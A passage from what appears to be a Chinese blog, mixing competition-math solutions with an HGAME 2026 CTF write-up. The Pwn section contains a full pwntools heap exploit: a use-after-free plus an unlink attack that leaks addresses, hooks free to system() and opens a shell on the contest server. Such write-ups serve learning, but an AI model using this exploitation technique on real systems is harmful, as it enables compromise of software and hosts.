                int t0 = (-4 * mod) % 9; // inverse of 7 mod 9 is 4
27
                if (t0 < 0) t0 += 9;
28
                int t = t0; // The fewest larger digits give the smallest number.
29
                if (t > k) continue;
30
                candidate.assign(k - t, char('0' + d1));
31
                candidate.append(t, char('0' + d2));
32
            }
33

34
            if (best.empty() || candidate < best) {
35
                best = candidate;
36
            }
37
        }
38

39
        if (!best.empty()) {
40
            cout << best << "\n";
41
            return 0;
42
        }
43
    }
44
}

展开收起

可绝对整除的正整数 n#

假设存在符合条件的、不含 000 的正整数 mmm，使得 mmm 的任意排列都是 nnn 的倍数. 显然 nnn 不能是 101010 的倍数，因为 mmm 的各数位不能为 000. 下面我们对 mmm 分两种情况考虑.

必要性#

首先考虑这样的 mmm，它有至少 2 个相异的数字 xxx 和 yyy. 我们构造这样两个排列 N1=…xyN_1 = \dots x yN1=…xy、N2=…yxN_2 = \dots y xN2=…yx，即它们仅在最后两个数位上对调，从而因为有 n∣N1n \mid N_1n∣N1 和 n∣N2n \mid N_2n∣N2，则必须有 nnn 整除它们的差：

N1−N2=10x+y−(10y+x)=9(x−y).N_1 - N_2 = 10x + y - (10y + x) = 9(x-y).N1−N2=10x+y−(10y+x)=9(x−y).

因为 x≠yx \ne yx=y，所以 1≤∣x−y∣≤81 \le |x-y| \le 81≤∣x−y∣≤8；又 gcd⁡(9,16)=gcd⁡(9,25)=1\gcd(9,16)=\gcd(9,25)=1gcd(9,16)=gcd(9,25)=1，从而 9(x−y)9(x-y)9(x−y) 不可能被 161616 或 252525 整除. 因此 nnn 既不能是 161616 的倍数，也不能是 252525 的倍数.

其次考虑 m=ddd…d=111…1×dm = d d d \dots d = 111 \dots 1 \times dm=ddd…d=111…1×d，其中 1≤d≤91 \le d \le 91≤d≤9，即 mmm 的所有数位都相同. 因为 111…1111 \dots 1111…1 的末位是 111，它不含素因子 222 或 555，所以 mmm 中的因子 222 和 555 只能由 ddd 贡献. 而 ddd 最多含有 333 个因子 222（d=8d=8d=8）或 111 个因子 555（d=5d=5d=5），所以 16∤m16 \nmid m16∤m 且 25∤m25 \nmid m25∤m，nnn 也不能是它们的倍数.

综上，我们证明了符合条件的 nnn 不能是 10,16,2510, 16, 2510,16,25 的倍数，从而证明了必要性.

充分性#

仅考虑纯数字数的 mmm. 下面我们证明：所有不是 10,16,2510, 16, 2510,16,25 倍数的 nnn 都存在被它整除的不含 000 的纯数字数 mmm.

设 n=2a⋅5b⋅wn = 2^a \cdot 5^b \cdot wn=2a⋅5b⋅w，其中 a,ba,ba,b 为非负整数且 gcd⁡(w,10)=1\gcd(w, 10) = 1gcd(w,10)=1. 由 10∤n10 \nmid n10∤n 知 a,ba,ba,b 不能同时大于 000；由 16∤n16 \nmid n16∤n 和 25∤n25 \nmid n25∤n 又有 a≤3a \le 3a≤3 和 b≤1b \le 1b≤1.

由 Euler 定理，因为 gcd⁡(9w,10)=1\gcd(9w, 10) = 1gcd(9w,10)=1 从而必存在 k=φ(9w)k = \varphi(9w)k=φ(9w) 使得

10k≡1(mod9w)⇒w∣10k−19,10^k \equiv 1 \pmod{9w} \Rightarrow w \mid \frac{10^k - 1}{9},10k≡1(mod9w)⇒w∣910k−1,

而 (10k−1)9=111…1\dfrac{(10^k - 1)}{9} = 111 \dots 19(10k−1)=111…1（含 kkk 个 111）.

倘若 nnn 含有因子 555，此时 a=0,b=1a = 0, b = 1a=0,b=1，即 n=5wn = 5wn=5w. 选取 d=5d = 5d=5 和 m=5×111…1m = 5 \times 111 \dots 1m=5×111…1，由 w∣111…1w \mid 111 \dots 1w∣111…1 即得 n∣mn \mid mn∣m.
倘若 nnn 不含 555，此时 b=0,a≤3b = 0, a \le 3b=0,a≤3，所以 n=2a⋅wn = 2^a \cdot wn=2a⋅w. 选取 d=2ad = 2^ad=2a，由 a≤3a \le 3a≤3 保证了 d∈{1,2,4,8}d \in \{1, 2, 4, 8\}d∈{1,2,4,8} 在 1∼91 \sim 91∼9 内. 设 m=2a×111…1m = 2^a \times 111 \dots 1m=2a×111…1，此时 w∣111…1w \mid 111 \dots 1w∣111…1 和 2a∣d2^a \mid d2a∣d，从而 n∣mn \mid mn∣m.

这些纯数字数的所有排列均相同，从而若它们被 nnn 整除，则它们被 nnn 绝对整除. 从而我们证明了充分性.

所有不被 10,16,25 中任何一个数整除的正整数 n 均符合条件.\boxed{\text{所有不被 } 10, 16, 25 \text{ 中任何一个数整除的正整数 } n \text{ 均符合条件}.}所有不被 10,16,25 中任何一个数整除的正整数 n 均符合条件.

Problem 13#

题目

记 XXX, YYY, ZZZ 是三个在有限个数上分布的随机变量，满足

E[X]=E[Y]=E[Z]=0,E[XY]=E[YZ]=E[ZX]=0,V[X]=V[Y]=V[Z]=1.\begin{aligned} \mathbb{E}[X] = \mathbb{E}[Y] = \mathbb{E}[Z] &= 0, \\ \mathbb{E}[XY] = \mathbb{E}[YZ] = \mathbb{E}[ZX] &= 0, \\ \mathbb{V}[X] = \mathbb{V}[Y] = \mathbb{V}[Z] &= 1. \end{aligned}E[X]=E[Y]=E[Z]E[XY]=E[YZ]=E[ZX]V[X]=V[Y]=V[Z]=0,=0,=1.

设 n∈N∗n \in \mathbb{N}^*n∈N∗，求

E[(X−Y)2n+(Y−Z)2n+(Z−X)2n]\mathbb{E}\left[(X - Y)^{2n} + (Y - Z)^{2n} + (Z - X)^{2n}\right]E[(X−Y)2n+(Y−Z)2n+(Z−X)2n]

的取值范围. 注：E[X]\mathbb{E}[X]E[X] 指随机变量 XXX 的数学期望，V[X]\mathbb{V}[X]V[X] 指随机变量 XXX 的方差.

确定期望的最小值#

设 U=X−Y,V=Y−Z,W=Z−XU = X - Y, V = Y - Z, W = Z - XU=X−Y,V=Y−Z,W=Z−X，则 U+V+W=0U + V + W = 0U+V+W=0. 从而

E(U2+V2+W2)=E[(X−Y)2+(Y−Z)2+(Z−X)2]=2E[X2+Y2+Z2]−2E[XY+YZ+ZX].\begin{aligned} &\mathbb{E}(U^2 + V^2 + W^2) \\ &= \mathbb{E}[(X-Y)^2 + (Y-Z)^2 + (Z-X)^2] \\ &= 2\mathbb{E}[X^2 + Y^2 + Z^2] - 2\mathbb{E}[XY + YZ + ZX]. \end{aligned}E(U2+V2+W2)=E[(X−Y)2+(Y−Z)2+(Z−X)2]=2E[X2+Y2+Z2]−2E[XY+YZ+ZX].

由 E[X]=E[Y]=E[Z]=0\mathbb{E}[X]=\mathbb{E}[Y]=\mathbb{E}[Z]=0E[X]=E[Y]=E[Z]=0 和方差条件，得

E[X2]=E[Y2]=E[Z2]=1.\mathbb{E}[X^2] = \mathbb{E}[Y^2] = \mathbb{E}[Z^2] = 1.E[X2]=E[Y2]=E[Z2]=1.

又因为交叉项的期望均为 000，所以

E[U2+V2+W2]=2(1+1+1)=6.(1)\mathbb{E}[U^2 + V^2 + W^2] = 2(1+1+1) = 6. \tag{1}E[U2+V2+W2]=2(1+1+1)=6.(1)

我们使用下面的初等不等式：若 u+v+w=0u+v+w=0u+v+w=0，且 Q=u2+v2+w2Q=u^2+v^2+w^2Q=u2+v2+w2，则对任意正整数 nnn，

u2n+v2n+w2n≥Qn2n−1.(2)u^{2n}+v^{2n}+w^{2n} \ge \frac{Q^n}{2^{n-1}}. \tag{2}u2n+v2n+w2n≥2n−1Qn.(2)

事实上，设三个数中符号不同的那个绝对值为 a+ba+ba+b，另外两个绝对值为 a,ba,ba,b（其中 a,b≥0a,b\ge0a,b≥0），则 (2)(2)(2) 化为

(a+b)2n+a2n+b2n≥2((a+b)2+a2+b22)n,(a+b)^{2n}+a^{2n}+b^{2n} \ge 2\left(\frac{(a+b)^2+a^2+b^2}{2}\right)^n,(a+b)2n+a2n+b2n≥2(2(a+b)2+a2+b2)n,

这是 a,b≥0a,b\ge0a,b≥0 时由凸性得到的二元不等式.

对 (2)(2)(2) 应用于 U,V,WU,V,WU,V,W，并令 Q=U2+V2+W2Q=U^2+V^2+W^2Q=U2+V2+W2（此处 QQQ 是随机变量），再用 t↦tnt\mapsto t^nt↦tn 在 t≥0t\ge0t≥0 上的凸性和 (1)(1)(1)，可得

E[U2n+V2n+W2n]≥2E[(Q2)n]≥2(E[Q2])n=2⋅3n.(3)\begin{aligned} \mathbb{E}[U^{2n}+V^{2n}+W^{2n}] &\ge 2\mathbb{E}\left[\left(\frac Q2\right)^n\right] \\ &\ge 2\left(\mathbb{E}\left[\frac Q2\right]\right)^n = 2\cdot 3^n. \tag{3} \end{aligned}E[U2n+V2n+W2n]≥2E[(2Q)n]≥2(E[2Q])n=2⋅3n.(3)

下面说明这个下界可以取到. 以相等概率取六个三元组

(X,Y,Z)∈{(3,0,0),(−3,0,0),(0,3,0),(0,−3,0),(0,0,3),(0,0,−3)}.(X,Y,Z)\in\{(\sqrt3,0,0),(-\sqrt3,0,0),(0,\sqrt3,0),(0,-\sqrt3,0),(0,0,\sqrt3),(0,0,-\sqrt3)\}.(X,Y,Z)∈{(3,0,0),(−3,0,0),(0,3,0),(0,−3,0),(0,0,3),(0,0,−3)}.

显然三个随机变量的期望均为 000，方差均为 111，且两两乘积的期望均为 000. 对每个结果，U,V,WU,V,WU,V,W 是 0,3,−30,\sqrt3,-\sqrt30,3,−3 的一个排列，因此目标值为 2⋅3n2\cdot3^n2⋅3n. 所以 (3)(3)(3) 的下界确实可以取到.

特别地，当 n=1n=1n=1 时，(1)(1)(1) 直接说明目标恒为 666；当 n≥2n\ge2n≥2 时，最小值为 2⋅3n2\cdot3^n2⋅3n.

证明没有上界（n 大于等于 2）#

设定 X,Y,ZX,Y,ZX,Y,Z 相互独立且同分布. 令 p∈(0,1)p\in(0,1)p∈(0,1)，并令每个变量以概率 ppp 取正值 MMM，以概率 1−p1-p1−p 取负值 −a-a−a. 取

M=1−pp,a=p1−p,M = \sqrt{\frac{1-p}{p}}, \qquad a = \sqrt{\frac{p}{1-p}},M=p1−p,a=1−pp,

则 E[X]=0\mathbb{E}[X]=0E[X]=0 且 V[X]=1\mathbb{V}[X]=1V[X]=1；独立性又保证 E[XY]=E[YZ]=E[ZX]=0\mathbb{E}[XY]=\mathbb{E}[YZ]=\mathbb{E}[ZX]=0E[XY]=E[YZ]=E[ZX]=0. 在 E[(X−Y)2n]\mathbb{E}[(X-Y)^{2n}]E[(X−Y)2n] 中只保留事件 X=M,Y=−aX=M,Y=-aX=M,Y=−a，得到

E[(X−Y)2n]≥p(1−p)(M+a)2n>p(1−p)M2n=p1−n(1−p)n+1.\begin{aligned} \mathbb{E}[(X-Y)^{2n}] &\ge p(1-p)(M+a)^{2n} \\ &> p(1-p)M^{2n} \\ &= p^{1-n}(1-p)^{n+1}. \end{aligned}E[(X−Y)2n]≥p(1−p)(M+a)2n>p(1−p)M2n=p1−n(1−p)n+1.

当 n≥2n\ge2n≥2 且 p→0+p\to0^+p→0+ 时，上式趋于 +∞+\infty+∞，所以目标期望没有上界.

最后，目标期望关于联合分布是线性的. 将上面达到最小值的六点分布与任意一个目标值大于给定数值的上述分布按适当比例混合，仍然满足题设的全部条件，并且目标值可以连续地取遍两者之间的区间. 因此，结合无上界性，取值范围为

{{6},n=1,[2⋅3n,+∞),n≥2.\boxed{ \begin{cases} \{6\}, & n=1,\\ [2\cdot3^n,+\infty), & n\ge2. \end{cases}}{{6},[2⋅3n,+∞),n=1,n≥2.

Problem 14#

题目

牡丹打算给橘子学院的官网设计一个图案. 官网的背景是一个 n×nn \times nn×n 的方格表, 其中 n∈N∗n \in \mathbb{N}^*n∈N∗. 牡丹打算在每个方格里填上 E\mathrm{E}E 或 V\mathrm{V}V. 作为伊布粉丝的牡丹希望在水平, 竖直, 对角线方向上的五个连着的格子能够读出尽量多的 EEVEE\mathrm{EEVEE}EEVEE 单词. 设在 n×nn \times nn×n 的方格表中 EEVEE\mathrm{EEVEE}EEVEE 单词数的最大可能值是 f(n)f(n)f(n). 求证:

n2+O(n)≤f(n)≤109n2+O(n).n^2 + O(n) \leq f(n) \leq \frac{10}{9}n^2 + O(n).n2+O(n)≤f(n)≤910n2+O(n).

注：下界是 555 分. 本题你如果证明了不同的上界, 将会得到部分分值. 假设你的二次项系数为 aaa, 得分如下:

aaa 的值	a≥4/3a \geq 4/3a≥4/3	7/6<a<4/37/6 < a < 4/37/6<a<4/3	8/7<a≤7/68/7 < a \leq 7/68/7<a≤7/6	10/9<a≤8/710/9 < a \leq 8/710/9<a≤8/7	1≤a≤10/91 \leq a \leq 10/91≤a≤10/9
得分	555	151515	252525	353535	454545

下界#

给出下界的构造：对方格表中的格子 (x,y)(x,y)(x,y)，当且仅当 x+y≡0(mod3)x+y\equiv0\pmod3x+y≡0(mod3) 时填入 V\mathrm{V}V，否则填入 E\mathrm{E}E.

取一个距离方格表边界至少 222 的 V\mathrm{V}V，以它为中心，横着和竖着读均可以读到 EEVEE\mathrm{EEVEE}EEVEE. 在主对角线方向上，与它相距为 ±1\pm1±1 和 ±2\pm2±2 的格子的坐标和与 x+yx+yx+y 的差为 ±2\pm2±2 或 ±4\pm4±4，模 333 均不为 000，所以这些格子上均为 E\mathrm{E}E，也构成了 EEVEE\mathrm{EEVEE}EEVEE. 副对角线上的格子坐标和恒定，因而对应字母全为 V\mathrm{V}V，不能形成 EEVEE\mathrm{EEVEE}EEVEE.

这样的 V\mathrm{V}V 一共有 n2/3+O(n)n^2/3+O(n)n2/3+O(n) 个（边界附近的格子只有 O(n)O(n)O(n) 个），每个这样的 V\mathrm{V}V 可以作为中心产生 333 个单词，而且不同中心、不同方向产生的单词不同. 因此

f(n)≥3(13n2+O(n))=n2+O(n).f(n)\ge 3\left(\frac13n^2+O(n)\right)=n^2+O(n).f(n)≥3(31n2+O(n))=n2+O(n).

即

f(n)≥n2+O(n).\boxed{f(n)\ge n^2+O(n).}f(n)≥n2+O(n).

上界（官方答案）#

GPT-6.1 Sol 阅读了官方 Solution 后整理了这份上界做法. 官方答案的核心是「加权计数」（discharging）：给每个单词的各个格子分配权重，再在局部重新转移权重. 为简化叙述，先忽略距离边界为常数的格子. 这些格子只有 O(n)O(n)O(n) 个，每个格子至多参与有限个单词，因此最后只会贡献 O(n)O(n)O(n) 的误差.

固定一个方向，把这一方向上的格子看成一条直线. 直接观察长度为 555 的 EEVEE\mathrm{EEVEE}EEVEE，有：

在一个固定方向上，一个 E\mathrm{E}E 至多被两个 EEVEE\mathrm{EEVEE}EEVEE 包含. 如果它确实被两个包含，那么由两个单词的中心都是 V\mathrm{V}V 可知，它附近距离不超过 222 的某些格子必须是 V\mathrm{V}V.
如果一条直线上出现连续三个 E\mathrm{E}E，那么两端的 E\mathrm{E}E 在该方向上至多属于一个 EEVEE\mathrm{EEVEE}EEVEE. 如果出现形如 E□E□E\mathrm{E}\square\mathrm{E}\square\mathrm{E}E□E□E 的三个 E\mathrm{E}E，中间的 E\mathrm{E}E 在该方向上也至多属于一个 EEVEE\mathrm{EEVEE}EEVEE.
如果一个 V\mathrm{V}V 在某个方向距离 111 或 222 的位置还有另一个 V\mathrm{V}V，那么这个 V\mathrm{V}V 不可能作为该方向上 EEVEE\mathrm{EEVEE}EEVEE 的中心.

这些观察分别对应官方解答中的断言 14.114.114.1、14.214.214.2、14.314.314.3：第一条说明一个 E\mathrm{E}E 总共至多属于 4×2=84\times2=84×2=8 个单词；而一个 V\mathrm{V}V 至多作为四个方向的中心.

分配初始权重#

给每个 EEVEE\mathrm{EEVEE}EEVEE 单词分配总权重 111，其中中心的 V\mathrm{V}V 分得 1/31/31/3，四个 E\mathrm{E}E 各分得 1/61/61/6. 于是每个单词分出的权重为

13+4⋅16=1.\frac13+4\cdot\frac16=1.31+4⋅61=1.

如果格子 PPP 被 d(P)d(P)d(P) 个单词包含，则它的初始权重为

w0(P)={d(P)3,P 是 V,d(P)6,P 是 E.w_0(P)= \begin{cases} \dfrac{d(P)}{3},&P\text{ 是 }\mathrm{V},\\[4pt] \dfrac{d(P)}{6},&P\text{ 是 }\mathrm{E}. \end{cases}w0(P)=⎩⎨⎧3d(P),6d(P),P 是 V,P 是 E.

所有格子的初始权重之和，恰好就是 EEVEE\mathrm{EEVEE}EEVEE 单词总数.

四方向成词的 V#

考虑一个四个方向都能组成 EEVEE\mathrm{EEVEE}EEVEE 的 V\mathrm{V}V，其初始权重是 4/34/34/3，周围的局部形状可以画成：

四方向成词的 V

图中四个标出的 E\mathrm{E}E 是中心 V\mathrm{V}V 在水平、竖直方向距离 222 的格子. 对每一个这样的 V\mathrm{V}V，把它的权重减少 5/95/95/9，再给这四个 E\mathrm{E}E 各增加 5/365/365/36. 这是守恒的，因为

4⋅536=59.4\cdot\frac5{36}=\frac59.4⋅365=95.

于是这个特殊 V\mathrm{V}V 的权重变为

43−59=79.\frac43-\frac59=\frac79.34−95=97.

另一方面，由上面的三个观察，图中每个被增加权重的 E\mathrm{E}E 至多属于 555 个单词，而且至多从两个这样的特殊 V\mathrm{V}V 收到增加量. 因而它的权重至多为

56+2⋅536=109.(1)\frac56+2\cdot\frac5{36}=\frac{10}{9}. \tag{1}65+2⋅365=910.(1)

高权重的 E#

现在看参与单词数很多的 E\mathrm{E}E.

如果一个 E\mathrm{E}E 被 888 个单词包含，那么四个方向上都恰好有两个单词. 由三个观察可以核查出：它附近必然出现四个可以接收转移的 V\mathrm{V}V. 局部上有两种互为对称的排列，但两种排列都可以进行如下守恒转移：

E 的守恒权重转移示意

从这个 E\mathrm{E}E 的权重中减去

2⋅154+2⋅19=727,2\cdot\frac1{54}+2\cdot\frac19=\frac7{27},2⋅541+2⋅91=277,

并分别给两个 V\mathrm{V}V 增加 1/541/541/54，给另外两个 V\mathrm{V}V 增加 1/91/91/9. 因此这个 E\mathrm{E}E 的新权重为

43−727=2927<109.(2)\frac43-\frac7{27}=\frac{29}{27}<\frac{10}{9}. \tag{2}34−277=2729<910.(2)

如果一个 E\mathrm{E}E 被 777 个单词包含，那么四个方向中至少有三个方向各贡献两个单词. 因而至少可以找到三个被迫出现的 V\mathrm{V}V，给它们各增加 1/541/541/54，同时从这个 E\mathrm{E}E 减去

3⋅154=118.3\cdot\frac1{54}=\frac1{18}.3⋅541=181.

此时这个 E\mathrm{E}E 的权重至多为

76−118=109.(3)\frac76-\frac1{18}=\frac{10}{9}. \tag{3}67−181=910.(3)

逐类检查所有格子#

还剩下的格子只需要利用上面的局部观察作一个简单的分类. 对于普通的 E\mathrm{E}E，如果它没有从「四方向成词的 V\mathrm{V}V」处收到权重，那么它至多被 666 个单词包含，权重至多为 111. 如果它确实收到这种转移，那么由观察 14.214.214.2，它至多被 555 个单词包含，并且至多收到两次 5/365/365/36，于是由 (1)(1)(1) 仍然不超过 10/910/910/9.

对于 V\mathrm{V}V，四方向都成词的情况已经处理过. 其他情况下，三个观察还给出以下两个上界：

若它参与至多 333 个单词，则它至多收到四次 1/541/541/54，所以权重至多为 1+4⋅154=2927<109.1+4\cdot\frac1{54}=\frac{29}{27}<\frac{10}{9}.1+4⋅541=2729<910.
若它收到某次 1/91/91/9 的转移，则它至多参与 222 个单词，并且至多收到四次 1/91/91/9，所以权重至多为 23+4⋅19=109.\frac23+4\cdot\frac19=\frac{10}{9}.32+4⋅91=910.

这里第二条的关键是：收到 1/91/91/9 的 V\mathrm{V}V 与转移它的 E\mathrm{E}E 相距 222 格，因此由观察 14.314.314.3，它在相应方向上不能再作为中心成词；其余方向的局部排列再结合观察 14.114.114.1、14.214.214.2，就得到至多两个单词的结论. 四方向成词的 V\mathrm{V}V 不会收到 1/91/91/9，因为它在水平、竖直方向距离 222 的 E\mathrm{E}E 不可能是上面参与 888 个单词的高权重 E\mathrm{E}E.

因此，经过上述守恒转移后，每个格子的权重都不超过 10/910/910/9. 由于总权重没有改变，得到

f(n)≤109n2+O(n).f(n)\le \frac{10}{9}n^2+O(n).f(n)≤910n2+O(n).

结合前面的构造，最终有

n2+O(n)≤f(n)≤109n2+O(n).\boxed{n^2+O(n)\le f(n)\le\frac{10}{9}n^2+O(n).}n2+O(n)≤f(n)≤910n2+O(n).

HGAME 2026 题解

Fri, 20 Feb 2026 00:00:00 GMT

零音以林曦格（SigAurelia）的名义在 HGAME 2026 中完成了部分题目。由于时间仓促，零音并未做完所有题目，下面的 writeup 仅包括零音成功完成的题目。

签到 / SignIn#

README#

Flag

hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

由题目所给的内容，显然。

1
I am the flag!
2
hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

TEST NC#

Flag

hgame{y0UR-CAN-ConNEct_T0_thE_remOTE_eNVIr0nm3nt_t0_GeT-f1Ag0}

使用 nc 连接到题目给出的目标服务器即可。使用 ls 列举服务器下的文件，使用 cat 获取 flag 的内容。

使用 cat 获取 flag 的内容

二进制漏洞审计 / Pwn#

Heap1sEz#

Flag

hgame{R3Ady_F0R_MOre_DIfF1cU1T-M4Iloc?52f20e}

程序的 malloc.c 代码完全替代了 glibc 的逻辑，自实现了一套 malloc 来管理通过 sbrk 得到的内存。其逻辑比现代 glibc 的 malloc 简单得多，且包含了一些早期的漏洞。

在 main.c 的 delete() 函数中，程序从笔记本删除一页（即 free() 掉这一页）后，并没有将对应的 notes[index] 置 NULL，从而给了我们 Use After Free 的可能。我们可以在 delete 掉一页后 edit 或 show 这个已经释放的 chunk。从而利用 UAF，我们可以获得 fd 指针的内容，进一步计算出程序的基址。

1
void delete()
2
{
3
    ...
4
    free(notes[index]);
5
    return;
6
}

为达成这一点，考察 malloc.c 的 free() 代码片段，倘使我们仅申请 1 个 chunk 并释放，则因为它紧挨 Top Chunk 从而造成 Top Chunk Consolidation。

1
if (nextchunk != main_arena.top)
2
    {
3
        // 放入 Unsorted Bin (双向链表)
4
    }
5
    else
6
    {
7
        size += nextsize;
8
        set_head(p, size | PREV_INUSE);
9
        main_arena.top = p;
10
    }

为了避免这一点并确保 chunk 进入 Unsorted Bin 双向链表，我们建立 Guard Chunk，即申请 2 个 chunk 并释放先申请的 chunk，使得后申请的 chunk 隔开 Top Chunk 和先申请的 chunk。此时即可打印出 fd 指针的值。下面的截图展示了与程序交互以获得该值的最后一步操作。

释放并查看 chunk，泄露 Unsorted Bin 的 fd 指针

在 malloc.c 的 unlink_chunk() 函数中，现代 glibc 中用于防御 Unlink Attack 的核心检查被注释，即，我们可以使用 Unlink Attack 实现任意地址写。

1
static void unlink_chunk(mchunkptr p)
2
{
3
    if (chunksize(p) != prev_size(next_chunk(p)))
4
        malloc_printerr("corrupted size vs. prev_size");
5

6
    mchunkptr fd = p->fd;
7
    mchunkptr bk = p->bk;
8

9
    // if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
10
    // malloc_printerr ("corrupted double-linked list");
11

12
    fd->bk = bk;
13
    bk->fd = fd;
14
}

在 main.c 中存在一个 gift() 函数：

1
void gift()
2
{
3
    printf("give me a hook\n");
4
    if (scanf("%p", &hook) <= 0)
5
        _exit(1);
6
}

而 malloc.c 的 free() 函数开头，有

1
if (__builtin_expect(hook != NULL, 0))
2
{
3
    (*hook)(mem);
4
    return;
5
}

在获得 libc 基址后，我们可以确定 system() 的地址。若可调用 gift() 函数，则可将 hook 设置为 system()，随后释放一个内容为 /bin/sh 的 chunk，即可调用 (*hook)(mem); 成功 getshell。从而我们确定了大致的攻击步骤：

申请两个 chunk，记作 chunk 0 和 chunk 1。释放 chunk 0 后查询其内容，以获得 fd 指针的值——它指向 main_arena 结构体中特定的偏移位置（即 Unsorted Bin 的链表头地址），考虑到 bck = bin_at(&main_arena, 1); 从而 &main_arena = leak_addr + 8;，由此计算出 PIE。
使用 PIE 计算出 notes 数组本身的地址。使用 UAF 修改 chunk 0 的 fd 和 bk，从而使得 notes[0] 存储的指针指向 notes[0] 向前 0x18 字节的位置。考察栈上内存空间的分布，我们 padding 24 个字节后写入 puts（先前已被调用）的 GOT 地址，随后 show 该 chunk 的内容以获得 puts 的 libc 地址，以获得 libc 基址。
由 libc 基址计算出 system() 的地址，调用菜单的 gift 选项以设置 hook 为 system() 的地址。申请一个新的 chunk，更改其内容为 /bin/sh 并释放，以触发 hook。

下面给出一个可行的 Exploit。

1
"""
2
Exploit script for competitions.HGAME.2026.problems.Pwn.Heap1sEz
3
by SigAurelia, affiliated with Project Hazelita
4
"""
5

6
from pwn import *
7

8
exe = ELF("./vuln_patched")
9
libc = ELF("./libc.so.6")
10
ld = ELF("./ld-2.35.so")
11

12
# fmt: off
13
context.binary = exe
14
context.terminal = ["wt.exe", "nt", "--title", "pwndbg", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
15
# context.log_level = "debug"
16
context.log_level = "info"
17

18
# io = process([exe.path])
19
io = remote("cloud-middle.hgame.vidar.club", 31475)
20

21
context.gdb_binary = "/home/sigaurelia/.nix-profile/bin/pwndbg"
22
# gdb.attach(
23
#     io,
24
#     gdbscript="""
25
#     b *main
26
# """,
27
# )
28
# fmt: on
29

30

31
def add(chunk_idx: int, chunk_size: int):
32
    io.sendlineafter(b">", b"1")
33
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
34
    io.sendlineafter(b"Size: ", str(chunk_size).encode())
35
    log.info(f"ADD chunk! IDX: {chunk_idx}, SIZE: {chunk_size}")
36

37

38
def delete(chunk_idx: int):
39
    io.sendlineafter(b">", b"2")
40
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
41
    log.info(f"DELETE chunk! IDX: {chunk_idx}")
42

43

44
def edit(chunk_idx: int, content: bytes):
45
    io.sendlineafter(b">", b"3")
46
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
47
    io.sendlineafter(b"Content:", content)
48
    log.info(f"EDIT chunk! IDX: {chunk_idx}, CONTENT: {content}")
49

50

51
def show(chunk_idx: int):
52
    io.sendlineafter(b">", b"4")
53
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
54
    chunk_data = io.recvline()[:-1]
55
    log.info(f"SHOW chunk! IDX: {chunk_idx}, CONTENT: {chunk_data}")
56

57

58
def gift(hook: str):
59
    io.sendlineafter(b">", b"6")
60
    io.sendlineafter(b"give me a hook\n", hook.encode())
61

62

63
def addr_from_chunk(chunk_idx: int):
64
    io.sendlineafter(b">", b"4")
65
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
66
    chunk_data = io.recvline()[:-1]
67
    # log.info(f"SHOW chunk! IDX: {chunk_idx}, CONTENT: {chunk_data}")
68
    leak_addr = u64(chunk_data.ljust(8, b"\x00"))
69
    log.info(f"LEAKED ADDR! IDX: {chunk_idx}, ADDR: {hex(leak_addr)}")
70
    return leak_addr
71

72

73
def step_1():
74
    add(0, 32)
75
    add(1, 32)  # guard chunk
76
    delete(0)
77
    leak_addr = addr_from_chunk(0)
78
    # Note that leak_addr = &main_arena - 8 since `bck = bin_at(&main_arena, 1);`
79
    # Therefore &main_arena = leak_addr + 8
80
    main_arena_addr = leak_addr + 8
81
    exe.address = main_arena_addr - exe.sym["main_arena"]
82
    log.success(f"CALCULATED PIE BASE! ADDR: {hex(exe.address)}")
83

84

85
def step_2():
86
    notes_addr = exe.sym["notes"]
87
    log.success(f"notes ARRAY FOUND! ADDR: {hex(notes_addr)}")
88
    # Note that we'll have FD->bk = BK and BK->fd = FD on Chunk 0 (let which be P)
89
    # where FD = P->fd and BK = P->bk, therefore, if we let
90
    fake_fd = notes_addr - 0x18
91
    fake_bk = notes_addr - 0x10
92
    # then we'll have
93
    # FD->bk = BK: (&notes[0] - 0x18) + 0x18 = &notes[0] - 0x10 => *notes[0] = &notes[0] - 0x10,
94
    # BK->fd = FD: (&notes[0] - 0x10) + 0x10 = &notes[0] - 0x18 => *notes[0] = &notes[0] - 0x18.
95
    # The savvy reader will notice, that we can overwrite the value of notes[0]
96
    # after 24 bytes of padding.
97
    chunk_0_payload = p64(fake_fd) + p64(fake_bk)
98
    edit(0, chunk_0_payload)
99
    log.success("fake_fd and fake_bk UPDATED!")
100
    delete(1)  # trigger unlink
101
    log.success("TRIGGERED UNLINK!")
102
    # And now, notes[0] points to &notes[0] - 0x18.
103
    # As `puts` has been called before, as Lazy Binding, here we'll try to get `puts_got`.
104
    notes_payload = (
105
        b"SigAurelia" * 2 + b"hzlt" + p64(exe.got["puts"])
106
    )  # len(padding) = 0x18
107
    edit(0, notes_payload)
108
    puts_addr = addr_from_chunk(0)
109
    libc.address = puts_addr - libc.sym["puts"]
110
    log.success(f"CALCULATED LIBC BASE! ADDR: {hex(libc.address)}")
111

112

113
def step_3():
114
    system_addr = libc.sym["system"]
115
    log.info(f"CALCULATED system ADDR! ADDR {hex(system_addr)}")
116
    gift(str(hex(system_addr)))
117
    add(2, 32)
118
    edit(2, b"/bin/sh\x00")
119
    delete(2)
120

121

122
if __name__ == "__main__":
123
    step_1()
124
    step_2()
125
    step_3()
126
    io.interactive()

展开收起

逆向工程 / Reverse#

PVZ#

Flag

hgame{BECAUSE_I_AM_CRAAAZY}

使用 Detect It Easy 工具查看，发现 gpvz.exe 文件是 Java 程序的封装壳，其 .jar 位于文件后侧。

使用 Detect It Easy 查看 gpvz.exe 的 Java 封装信息

使用 dd 提取出该 .jar 文件，并拖入 JADX GUI 分析。

Terminal window

1
dd if=gpvz.exe of=extracted.jar bs=1 skip=$((0x10a00)) count=$((0x032a389b))

使用 JADX GUI 分析提取出的 PVZ JAR 文件

注意到 addScreen(GameScreen.class, new GameScreen(this)); 易得主逻辑位于 GameScreen，跟踪进入。注意到 spawnZombie() 方法中的逻辑：

1
if (TOTAL_GAME_DURATION - this.gameTime < 30.0f) {
2
    zombieNewInstance.setHp(99999999);
3
}

即，当游戏时间少于 30 秒时，新生成的僵尸血量极高，从而常规攻击无法成功击败僵尸。不难发现，在每次 placePlant 和 removePlant 时，总会调用一个名为 updateHashReversedCheck() 的私有方法：

1
/* JADX INFO: Access modifiers changed from: private */
2
public final void updateHashReversedCheck() {
3
